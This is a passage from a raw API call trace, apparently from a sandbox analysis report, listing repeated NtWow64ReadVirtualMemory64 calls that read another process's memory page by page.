ProcessHandle=0x17c, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.001] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.001] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.001] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.001] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.001] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.002] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.002] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.002] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.002] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.002] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.003] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.003] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.003] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.003] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.003] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.003] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.004] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.004] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.004] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.004] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.004] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.005] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.005] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.005] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.005] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.005] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.006] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.006] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.006] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.006] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.006] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.007] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.007] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.067] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.067] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.068] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.089] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.090] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.090] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.090] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.090] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.090] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.091] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.091] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.091] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.091] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.091] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.091] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.092] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.092] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.092] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.092] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.092] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.093] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.093] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.093] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.093] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.093] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.093] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.094] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.094] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.094] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.094] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.094] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.094] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.095] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.096] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.096] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.096] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.096] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.096] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.096] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.097] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.097] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.097] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.097] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.097] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.097] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.098] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.099] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.100] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.100] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.100] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.100] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.100] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.100] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.101] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.102] NtWow64ReadVirtualMemory64 